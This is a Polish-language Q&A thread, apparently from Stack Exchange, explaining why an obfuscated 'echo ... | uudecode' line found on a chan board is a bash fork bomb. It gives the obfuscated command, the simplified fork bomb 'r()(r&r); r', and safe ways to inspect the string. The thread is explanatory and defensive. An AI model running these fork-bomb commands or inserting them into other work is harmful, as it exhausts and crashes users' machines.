Jak i dlaczego ten ciąg tekstu jest bombą widelcową?

132

Znaleziono na losowej tablicy chan:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

W jakiś sposób uruchomienie tego powoduje nieskończony proces odradzania, który działa gwałtownie i zatrzymuje maszynę. Widzę coś o tym, że „su” próbuje być wielokrotnie wykonywana.

... co jest dziwne, ponieważ oczekiwałbym, że tekst zostanie wydrukowany, a nie wykonanie czegokolwiek.

Uruchomienie tego tekstu przez dekoder online daje mi tylko partię binarnego wyrzucenia:

wynik kodu uudecode

Co właściwie robi ten bałagan tekstu i czy istnieje sposób na „bezpieczne” jego obejrzenie?

Mikey TK
źródło
Dlaczego „su” jest wykonywane wielokrotnie?
Brent Washburne,
34
Porada: nie uruchamiaj kodu z losowych tablic chan i bądź wdzięczny, że to była tylko bomba.
rr-
21
Heh Na szczęście byłem na migawkowej maszynie wirtualnej stworzonej specjalnie po to, aby bawić się z potencjalnie wrogimi śmieciami w ten sposób.
Mikey TK,
1
Vidar Holen, autor shellcheck.net, napisał post na blogu, w którym twierdzi, że jest autorem tej bomby widelcowej i podaje pewne informacje ogólne .
Socowi

Odpowiedzi:

194

Najpierw spójrzmy na całe polecenie:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Zawiera ciąg cudzysłowu, do którego echo uudecode. Zauważ jednak, że w ciągu podwójnego cudzysłowu znajduje się ciąg cudzysłowu . Ten ciąg zostanie wykonany . Ciąg jest:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Jeśli spojrzymy na zawartość, zobaczymy trzy polecenia:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Wykonując rozwinięcie nawiasu środkowego polecenia, mamy:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

Pierwszy wiersz próbuje uruchomić komendę nonsensowną w tle. To nie jest ważne.

Drugi wiersz jest ważny: definiuje funkcję, rktóra po uruchomieniu uruchamia dwie kopie siebie. Każda z tych kopii oczywiście uruchomiłaby jeszcze dwie kopie. I tak dalej.

Trzecia linia biegnie r, rozpoczynając bombę widelca.

Reszta kodu, poza ciągiem cytowanym z tyłu, jest po prostu bzdurą dla zaciemnienia.

Jak bezpiecznie uruchomić polecenie

Kod ten można uruchomić bezpiecznie, jeśli ustawimy limit poziomu zagnieżdżenia funkcji. Można to zrobić za pomocą FUNCNESTzmiennej bash . Tutaj ustawiamy to na, 2a to zatrzymuje rekurencję:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Komunikaty o błędach powyżej pokazują, że (a) polecenia nonsensowne rYWdli Y29jnie zostaną znalezione, (b) widelec bomba dostaje wielokrotnie przerywane przez FUNCNEST, oraz (c) wyjścia echonie uruchamia się begin, a tym samym nie jest ważny wejście do uudecode.

Widelec bomba w najprostszej formie

Jak wyglądałaby bomba widelcowa, gdybyśmy usunęli zaciemnienie? Jak sugerują njzk2 i gerrit, wyglądałoby to tak:

echo "`r()(r&r);r`"

Możemy to jeszcze bardziej uprościć:

r()(r&r); r

Składa się z dwóch instrukcji: jedna określa funkcję wideł-bomby, ra druga przebiega r.

Cały pozostały kod, łącznie z potokiem do uudecode, służył jedynie zaciemnieniu i błędnemu przekierowaniu.

Oryginalna forma miała jeszcze jedną warstwę błędnego ukierunkowania

PO dostarczył link do dyskusji na forum kanału, na której pojawił się ten kod. Jak tam przedstawiono, kod wyglądał następująco:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Zwróć uwagę na jeden z pierwszych komentarzy na temat tego kodu:

Zakochałem się w tym. Skopiowałem tylko część, która odbija się echem i dekoduje, ale wciąż została rozbita na widelec

W formie na tablicy kanałów naiwnie można by pomyśleć, że problemem byłoby evalstwierdzenie działające na wyjściu uudecode. Doprowadziłoby to do wniosku, że usunięcie evalgo rozwiązałoby problem. Jak widzieliśmy powyżej, jest to fałszywe i niebezpieczne.

John1024
źródło
6
Przebiegły! Nigdy nie myślałem o rozważaniu globowania / rozszerzania powłoki w środku powtarzanego ciągu.
Mikey TK,
31
Myślę, że dobrze byłoby zauważyć, że uudecodenie ma to tutaj znaczenia. Przez chwilę myślałem, że uudecodewykonuję interpolację napisów, która byłaby zasadniczo niebezpieczna, ale bomba widelcowa zdarza się, zanim w ogóle zaczyna się kodowanie uudecode.
gerrit
28
... i to , panie i panowie, dlatego bezpieczeństwo skryptów powłoki jest tak cholernie trudne. Nawet całkowicie nieszkodliwe rzeczy mogą cię zabić. (Wyobraź sobie, że to gdzieś dane użytkownika ...)
MathematicalOrchid
22
@MathematicalOrchid W rzeczywistości wykonanie nieoczekiwanego wysiłku powoduje, że w danych wejściowych użytkownika w skrypcie powłoki wykonywane są cudzysłowy. A jeśli konstruujesz skrypt powłoki na podstawie danych wprowadzonych przez użytkownika, powinieneś wiedzieć lepiej niż umieszczać go w cudzysłowie.
Random832,
5
@ njzk2 trzeba jeszcze &tam: echo "`r()(r&r);r`".
gerrit,
10

Aby odpowiedzieć na drugą część pytania:

... czy istnieje sposób na „bezpieczne” obejrzenie go?

Aby rozbroić ten ciąg, zastąp zewnętrzne podwójne cudzysłowy pojedynczymi cudzysłowami i unikaj pojedynczych cudzysłowów występujących w ciągu. W ten sposób powłoka nie wykona żadnego kodu, a wszystko przekazujesz bezpośrednio do uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Inne alternatywy zostały odnotowane w komentarzach:

kasperd zasugerował :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall zaproponował użycie edytora tekstu, wklejenie zawartości, a następnie przekazanie tego pliku do kodu uudecode.

gerrit
źródło
5
Alternatywnie: Wpisz uudecodew wierszu polecenia. Naciśnij enter. Skopiuj i wklej ciąg do zdekodowania.
kasperd
3
Inna alternatywa: użyj edytora tekstu, aby zapisać zawartość do pliku. Otwórz ten plik za pomocą uudecode.
Jacob Krall,
Dzięki obu zauważyłem te alternatywy w odpowiedzi.
gerrit,
1
Upewnij się, że sprawdziłeś, czy łańcuch nie jest jak echo "foo`die`bar'`die`'baz"pierwszy! Oznacza to, że jeśli zawiera jakieś 's, zastąpienie cudzysłowów pojedynczymi cudzysłowami nie będzie wystarczające.
wchargin
5

Na pierwszy rzut oka możesz pomyśleć, że wyjście do powłoki nigdy nie zostanie wykonane . To wciąż prawda . Problem jest już na wejściu . Główną sztuczką jest to, co programiści nazywają priorytetem operatora . Oto kolejność, w jakiej powłoka próbuje przetworzyć dane wejściowe:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Skomponuj ciąg, wykonując wszystkie zawarte w nim polecenia wstecz.
  2. Zwykle nieznane polecenie, które spowodowałoby niektóre dane wyjściowe, takie jak jeśli „rYWdl” nie jest literówką, można użyć polecenia „nie znaleziono”, aby wyszukać pakiet, który go zawiera… (zależy od systemu)
  3. Wykonuje 2. w tle. Nigdy nie zobaczysz wyniku.
  4. Zdefiniuj funkcję bomby widełkowej.
  5. Separator poleceń.
  6. Uruchom widelec bomby.
  7. Wstaw wynik 6. do ciągu. (Nigdy tu nie przychodzimy.)

Błąd polega na tym, aby pomyśleć, że echobyłoby to pierwsze polecenie do wykonania, uudecodedrugie. Oba z nich nigdy nie zostaną osiągnięte.

Wniosek: Podwójne cudzysłowy są zawsze niebezpieczne dla powłoki.

Matthias Ronge
źródło